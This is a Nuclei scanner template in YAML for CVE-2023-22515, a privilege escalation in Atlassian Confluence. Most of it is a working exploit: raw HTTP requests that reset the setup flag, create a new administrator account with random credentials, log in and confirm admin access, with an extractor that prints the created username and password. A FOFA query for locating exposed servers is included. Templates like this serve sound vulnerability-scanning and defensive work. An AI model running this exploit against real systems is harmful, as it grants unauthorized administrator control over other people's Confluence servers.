85 lines
3.2 KiB
YAML
85 lines
3.2 KiB
YAML
id: CVE-2023-22515
|
|
|
|
info:
|
|
name: Atlassian Confluence - Privilege Escalation
|
|
author: s1r1us,iamnoooob,rootxharsh,pdresearch
|
|
severity: critical
|
|
description: |
|
|
Atlassian Confluence Data Center and Server contains a privilege escalation vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
|
|
remediation: |
|
|
Update to the latest version of Confluence
|
|
reference:
|
|
- https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
|
|
- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
|
|
- https://confluence.atlassian.com/kb/faq-for-cve-2023-22515-1295682188.html
|
|
- https://jira.atlassian.com/browse/CONFSERVER-92475
|
|
- https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-22515
|
|
epss-score: 0.95529
|
|
epss-percentile: 0.99183
|
|
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 6
|
|
vendor: atlassian
|
|
product: confluence_data_center
|
|
fofa-query: app="ATLASSIAN-Confluence"
|
|
tags: cve,cve2023,confluence,auth-bypass,kev,intrusive
|
|
variables:
|
|
username: "{{rand_base(10)}}"
|
|
password: "{{rand_base(10)}}"
|
|
email: "{{username}}@{{password}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /setup/setupadministrator-start.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
GET /setup/setupadministrator-start.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
@timeout:20s
|
|
POST /setup/setupadministrator.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
X-Atlassian-Token: no-check
|
|
|
|
username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next
|
|
- |
|
|
POST /dologin.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
X-Atlassian-Token: no-check
|
|
|
|
os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action
|
|
- |
|
|
GET /welcome.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
redirects: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(body_1, 'Setup is already complete')
|
|
- contains(body_3, 'Please configure the system administrator account for this Confluence installation')
|
|
- contains(location_5, '/index.action')
|
|
- status_code_5 == 302
|
|
- contains(body_6, 'Administration')
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: dsl
|
|
dsl:
|
|
- '"USER: "+ username'
|
|
- '"PASS: "+ password'
|
|
|
|
# digest: 490a0046304402201dc0195666b4206432a850cc90bffde4280b69b734c5d5f7203f14b54a2a3e8a0220386242a05dadc43847b9d470c7b0efeda15e3711c9bcebca7f7afb8229e02444:922c64590222798bb761d5b6d8e72950
|